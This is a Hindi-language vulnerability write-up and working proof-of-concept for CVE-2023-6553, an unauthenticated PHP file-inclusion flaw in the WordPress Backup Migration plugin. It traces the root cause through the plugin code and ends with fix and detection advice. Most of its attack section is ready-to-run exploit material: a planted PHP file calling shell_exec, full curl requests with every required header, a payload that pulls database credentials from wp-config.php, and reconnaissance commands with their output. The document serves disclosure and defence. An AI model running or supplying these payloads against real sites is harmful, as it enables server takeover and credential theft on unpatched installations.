
CVE-2023-6553 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और तकनीकी विवरण, WordPress Backup Migration प्लगइन <=1.3.7 में एक अनप्रमाणित PHP फ़ाइल समावेशन भेद्यता जो रिमोट कोड निष्पादन को सक्षम बनाती है।
प्लगइन: Backup Migration (backup-backup) ≤ 1.3.7
CVSS: 9.8 (गंभीर)
CWE: CWE-98 — Include/Require स्टेटमेंट के लिए फ़ाइलनाम का अनुचित नियंत्रण
प्रमाणीकरण आवश्यकता: कोई नहीं
प्रभाव: रिमोट कोड निष्पादन (RCE)
Backup Migration एक काफी लोकप्रिय WordPress प्लगइन है (~90,000+ सक्रिय इंस्टॉलेशन) जो उपयोगकर्ताओं को बैकअप प्रतियां बनाने में मदद करता है। बैकअप प्रक्रिया के दौरान, प्लगइन में backup-heart.php नामक एक फ़ाइल बैकग्राउंड में चलती है — यह HTTP हेडर के माध्यम से कॉन्फ़िगरेशन जानकारी प्राप्त करती है ताकि पता चल सके कि किस डायरेक्टरी का बैकअप लेना है, कॉन्फ़िग फ़ाइल कहाँ स्थित है, आदि।
समस्या इस तथ्य में निहित है कि यह फ़ाइल क्लाइंट द्वारा भेजे गए HTTP हेडर पर पूरी तरह भरोसा करती है, हेडर के मान को सीधे फ़ाइल पथ में ले जाती है, और फिर require_once() का उपयोग करके उस पथ से फ़ाइल लोड करती है। एक हमलावर को केवल दुर्भावनापूर्ण PHP कोड वाली डायरेक्टरी की ओर इशारा करते हुए Content-Dir हेडर भेजने की आवश्यकता है → सर्वर स्वचालित रूप से उसे शामिल (include) और निष्पादित कर देता है।
यह ध्यान देने योग्य है कि backup-heart.php फ़ाइल प्रमाणीकरण की आवश्यकता नहीं रखती — यह केवल जाँचती है कि अनुरोध विधि POST है या नहीं, बिना किसी nonce या उपयोगकर्ता विशेषाधिकार की पुष्टि किए। इंटरनेट पर कोई भी व्यक्ति इस पर अनुरोध भेज सकता है।
⇒ यह एक zero-click भेद्यता है।
| विशेषता | मान |
|---|---|
| CVE ID | CVE-2023-6553 |
| CVSS स्कोर | 9.8 (गंभीर) |
| प्लगइन | backup-backup (Backup Migration) ≤ 1.3.7 |
| प्रमाणीकरण | आवश्यक नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं (zero-click) |
| समाधान | संस्करण 1.3.8 |
PHP में include(), require(), require_once() जैसे फ़ंक्शन होते हैं जिनका उपयोग चल रहे प्रोग्राम में अन्य PHP फ़ाइलों को शामिल करने के लिए किया जाता है। जब इन फ़ंक्शनों में पारित फ़ाइल पथ बिना सत्यापन के उपयोगकर्ता इनपुट से आता है, तो एक हमलावर सर्वर को अपनी पसंद की कोई भी फ़ाइल शामिल करने के लिए मजबूर कर सकता है:
allow_url_include=On आवश्यक है (आमतौर पर डिफ़ॉल्ट रूप से अक्षम)।यह CVE LFI के अंतर्गत आता है — हमलावर require_once() को पारित पथ को नियंत्रित करता है, जो एक ऐसी PHP फ़ाइल की ओर इशारा करता है जिसे हमलावर ने सर्वर पर लिखने में सफलता प्राप्त की है।
कई डेवलपर्स सोचते हैं कि HTTP हेडर "आंतरिक" मेटाडेटा हैं जो केवल सर्वर और क्लाइंट को ज्ञात होते हैं। वास्तव में, हमलावर हेडर सामग्री का 100% नियंत्रण रखते हैं — वे कोई भी हेडर नाम और मान सेट कर सकते हैं। हेडर पर भरोसा करना फॉर्म इनपुट पर भरोसा करने जैसा ही है — इसे सत्यापित किया जाना चाहिए।
define() और PHP कॉन्स्टेंटdefine('NAME', $value) एक कॉन्स्टेंट बनाता है जिसका उपयोग पूरे एप्लिकेशन में किया जाता है। एक बार define हो जाने पर, मान को बदला नहीं जा सकता। यदि $value किसी हमलावर से आता है, तो उस कॉन्स्टेंट का उपयोग करने वाला हर स्थान प्रभावित होता है।
मैंने प्लगइन में सभी require और include स्टेटमेंट खोजने के लिए grep का उपयोग करके शुरुआत की:
grep -rn "require\|include" includes/

खोज परिणामों में कई require/include कॉल मिलीं। उन्हें देखने पर, अधिकांश banner/misc.php और banner/views/index.php में include_once कॉल थीं — ये हार्डकोडेड पथों वाले एडमिन UI रेंडरिंग कोड से संबंधित हैं, जिससे वे अशोषणीय (unexploitable) हैं।
हालाँकि, backup-heart.php में 2 पंक्तियों ने मेरा ध्यान आकर्षित किया:
includes/backup-heart.php:64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118: require_once BMI_INCLUDES . '/bypasser.php';
पंक्ति 118 BMI_INCLUDES कॉन्स्टेंट के साथ require_once का उपयोग करती है — यदि यह कॉन्स्टेंट हार्डकोडेड होता, तो यह सुरक्षित होता। लेकिन पंक्ति 64 को देखने पर, मैंने पाया कि BMI_INCLUDES एक अन्य कॉन्स्टेंट, BMI_ROOT_DIR से निर्मित होता है। इसलिए हमें और आगे ट्रेस करने की आवश्यकता है: BMI_ROOT_DIR को उसका मान कहाँ मिलता है?
मैंने इसे ट्रेस करने के लिए फिर से grep का उपयोग किया:
grep -n "BMI_ROOT_DIR" includes/backup-heart.php
परिणाम:

Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
पंक्ति 62 दिखाती है कि BMI_ROOT_DIR अपना मान $fields['content-dir'] से लेता है। यह एक वेरिएबल है, कोई निश्चित मान नहीं — हमें फ़ाइल खोलकर देखना होगा कि $fields में क्या होता है।
मैंने backup-heart.php को VS Code में पंक्ति 62 पर खोला:
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);
// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

यह स्पष्ट रूप से दिखाई देता है कि $fields['content-dir'] सीधे define() में जाता है। अब हमें यह निर्धारित करने की आवश्यकता है कि $fields वेरिएबल कहाँ असाइन किया गया है:
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
exit;
}
// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
$fields= getallheaders();
}
// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
$buffer= $value;
unset($fields[$key]);
$fields[strtolower($key)] = $value;
}


इस बिंदु पर, मूल कारण बिल्कुल स्पष्ट हो जाता है: $fields में getallheaders() के माध्यम से प्राप्त सभी HTTP हेडर होते हैं — जो पूरी तरह से क्लाइंट द्वारा नियंत्रित होते हैं। यहाँ कोई wp_verify_nonce() नहीं है, कोई current_user_can() नहीं है, कोई मान्य पथ जाँच नहीं है — यह केवल POST विधि की पुष्टि करता है और हेडर को सीधे पढ़ लेता है।
Attacker sends POST request with header Content-Dir: /path/to/attacker/
↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
↓
define('BMI_ROOT_DIR', "/path/to/attacker/") ← no validation
↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
↓
require_once "/path/to/attacker/includes/bypasser.php" ← executes PHP
↓
Attacker code runs with www-data privileges → RCE
मूल कारण सारांश: HTTP हेडर → define() → require_once(), बीच में कोई सत्यापन चरण नहीं।
मैंने हमले के प्रवाह की दृश्य पुष्टि के लिए Xdebug + VS Code का उपयोग किया। मैंने backup-heart.php में पंक्ति 62 और पंक्ति 118 पर 2 ब्रेकपॉइंट सेट किए, फिर curl का उपयोग करके एक्सप्लॉइट अनुरोध भेजा।
ब्रेकपॉइंट 1 — पंक्ति 62:
डीबगर ठीक define('BMI_ROOT_DIR', $fields['content-dir']) पर रुका। Variables पैनल में $fields वेरिएबल का विस्तार करने पर 22 तत्वों की एक ऐरे दिखाई दी — जिसमें क्लाइंट द्वारा भेजे गए सभी HTTP हेडर शामिल थे। विशेष रूप से:
content-dir = "/tmp/bmi/" — यह ठीक वही मान है जो हेडर के माध्यम से भेजा गया था, जो सीधे BMI_ROOT_DIR कॉन्स्टेंट को असाइन हो जाता है।content-abs = "/var/www/html/", content-configdir = "/tmp/bmi/", content-backups = "/tmp/bmi/back..." — ये सभी हमलावर द्वारा नियंत्रित हैं।इसे define() में पारित करने से पहले content-dir पर कोई सत्यापन या फ़िल्टरिंग चरण लागू नहीं किए जाते।

ब्रेकपॉइंट 2 — पंक्ति 118:
F5 दबाने पर, डीबगर require_once BMI_INCLUDES . '/bypasser.php' पर रुका। स्थिति को देखते हुए:
$fields में अभी भी content-dir = "/tmp/bmi/" बना हुआ है — यह साबित करता है कि पंक्ति 62 और 118 के बीच मान में कोई बदलाव नहीं हुआ।{main} backup-heart.php 118:1 दिखाता है — कोड फ़ाइल के शीर्ष से सीधे इस बिंदु तक निष्पादित हुआ, किसी भी मिडलवेयर या प्रमाणीकरण जाँच को दरकिनार करते हुए।/tmp/bmi/includes/bypasser.php पर फ़ाइल को शामिल करने की तैयारी करती है — एक ऐसी फ़ाइल जिसकी सामग्री हमलावर द्वारा नियंत्रित होती है।
डीबगिंग परिणाम चरण 3 में विश्लेषित प्रवाह की पूरी तरह पुष्टि करते हैं: HTTP हेडर getallheaders() → define() → require_once() तक यात्रा करता है, बीच में कोई सत्यापन नहीं।
Include ट्रिगर करने से पहले, लक्षित सर्वर पर एक PHP फ़ाइल का पहले से मौजूद होना आवश्यक है। सामान्य तकनीकों में शामिल हैं:
| विधि | अवधारणा |
|---|---|
| लॉग पॉइज़निंग | User-Agent के अंदर <?php ... ?> युक्त अनुरोध भेजें → कोड एक्सेस लॉग में लिखा जाता है → लॉग फ़ाइल शामिल करें |
| PHP सत्र | /tmp/sess_xxx पर स्थित सत्र फ़ाइल में PHP कोड लिखें |
| अपलोड श्रृंखला | फ़ाइल अपलोड करने के लिए WordPress मीडिया/अवतार अपलोड सुविधा का लाभ उठाएं |
| प्लगइन त्रुटि लॉग | प्लगइन अपना स्वयं का त्रुटि लॉग लिखता है — PHP कोड युक्त त्रुटि ट्रिगर करने से कोड लॉग फ़ाइल में लिखा जाता है |
पेलोड वाली डायरेक्टरी की ओर इशारा करते हुए Content-Dir के साथ एक अनुरोध भेजें। सर्वर स्वचालित रूप से हमलावर की फ़ाइल को require करता है और निष्पादित करता है।
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/
सभी Content-* हेडर प्रदान करना आवश्यक है क्योंकि backup-heart.php उन्हें अन्य define() कॉलों में उपयोग करता है — लापता हेडर PHP चेतावनियाँ ट्रिगर करते हैं और require_once तक पहुँचने से पहले निष्पादन को रोक सकते हैं।
curl -s -o /dev/null -w "%{http_code}" -X POST \
"http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"
200 लौटाता है — एंडपॉइंट खुला है और प्रमाणीकरण के लिए संकेत नहीं देता।

वह डायरेक्टरी संरचना बनाएं जिसे require_once खोजने की अपेक्षा करता है: {Content-Dir}includes/bypasser.php:
mkdir -p /tmp/bmi/includes
cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
-H "Content-Dir: /tmp/bmi/" \
-H "Content-Abs: /var/www/html/" \
-H "Content-Content: /var/www/html/wp-content/" \
-H "Content-Configdir: /tmp/bmi/" \
-H "Content-Backups: /tmp/bmi/backups/" \
-H "Content-Safelimit: 1" \
-H "Content-Browser: true" \
-H "Content-Identy: 1" \
-H "Content-Manifest: 1" \
-H "Content-Rev: 1" \
-H "Content-Name: test" \
-H "Content-Start: 1" \
-H "Content-Filessofar: 0" \
-H "Content-Total: 1" \
-H "Content-Bmitmp: /tmp/" \
-H "Content-It: 1" \
-H "Content-Dbit: 1" \
-H "Content-Dblast: 1" \
-H "Content-Url: http://localhost:8181/"
आउटपुट परिणाम:

RCE सफल — सर्वर id कमांड निष्पादित करता है और आउटपुट लौटाता है।
RCE की पुष्टि के बाद, मैंने पेलोड बदल दिया ताकि यह प्रदर्शित किया जा सके कि एक हमलावर सर्वर पर संवेदनशील जानकारी पढ़ सकता है। पेलोड फ़ाइल की सामग्री बदलकर wp-config.php पढ़ें:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'
वही curl एक्सप्लॉइट अनुरोध फिर से भेजें → आउटपुट डेटाबेस कनेक्शन विवरण लौटाता है:
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"
हमलावर कोई भी फ़ाइल पढ़ सकता है जिसे एक्सेस करने की अनुमति www-data के पास है — wp-config.php, /etc/passwd, अन्य प्लगइन्स का सोर्स कोड — जिससे हमले की सतह (attack surface) बढ़ जाती है।

पेलोड को और संशोधित करके प्रदर्शित करें कि हमलावर सर्वर सिस्टम जानकारी एकत्र कर सकता है — जो विशेषाधिकार वृद्धि (privilege escalation) या पार्श्व संचलन (lateral movement) में सहायक होती है:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'
curl एक्सप्लॉइट भेजें → आउटपुट:
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3
RCEEND

इस आउटपुट से, हमलावर पता लगाता है:
172.18.0.3 — पुष्टि करता है कि सर्वर एक Docker नेटवर्क के अंदर है, जिससे अन्य कंटेनरों (डेटाबेस, कैश, आदि) तक पाइवोटिंग संभव होती है| CVSS मीट्रिक | मान | कारण |
|---|---|---|
| हमला वेक्टर (Attack Vector) | नेटवर्क | HTTP के माध्यम से |
| हमले की जटिलता (Attack Complexity) | कम | 1 POST अनुरोध, कोई समय या विशेष शर्तें आवश्यक नहीं |
| आवश्यक विशेषाधिकार (Privileges Required) | कोई नहीं | एंडपॉइंट को कोई प्रमाणीकरण आवश्यक नहीं |
| उपयोगकर्ता सहभागिता (User Interaction) | कोई नहीं | हमलावर-संचालित, पीड़ित को किसी सहभागिता की आवश्यकता नहीं |
| गोपनीयता (Confidentiality) | उच्च | कोई भी फ़ाइल पढ़ सकता है: wp-config.php, /etc/passwd, सोर्स कोड |
| अखंडता (Integrity) | उच्च | मनमाना फ़ाइल लेखन, वेबशेल इंस्टॉलेशन, डेटाबेस संशोधन |
| उपलब्धता (Availability) | उच्च | फ़ाइल विलोपन, प्रक्रिया समाप्ति, पूर्ण सर्वर समझौता |
backup-heart.php डिस्क पर मौजूद रहती है और URL के माध्यम से सीधे एक्सेस की जा सकती है।फ़ाइल पथ निर्धारित करने के लिए HTTP हेडर का उपयोग न करें। __DIR__ से व्युत्पन्न सापेक्ष पथों का उपयोग करें:
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);
// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');
प्राधिकरण जाँच जोड़ें — इस एंडपॉइंट को केवल WordPress एडमिन ही कॉल कर सके:
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
die('Unauthorized');
}
backup-heart.php को लक्षित करने वाले संदिग्ध अनुरोधों के लिए एक्सेस लॉग का निरीक्षण करें।/wp-content/plugins/*/includes/*.php पर सीधे POST अनुरोधों को अवरोधित करने वाले WAF नियम लागू करें।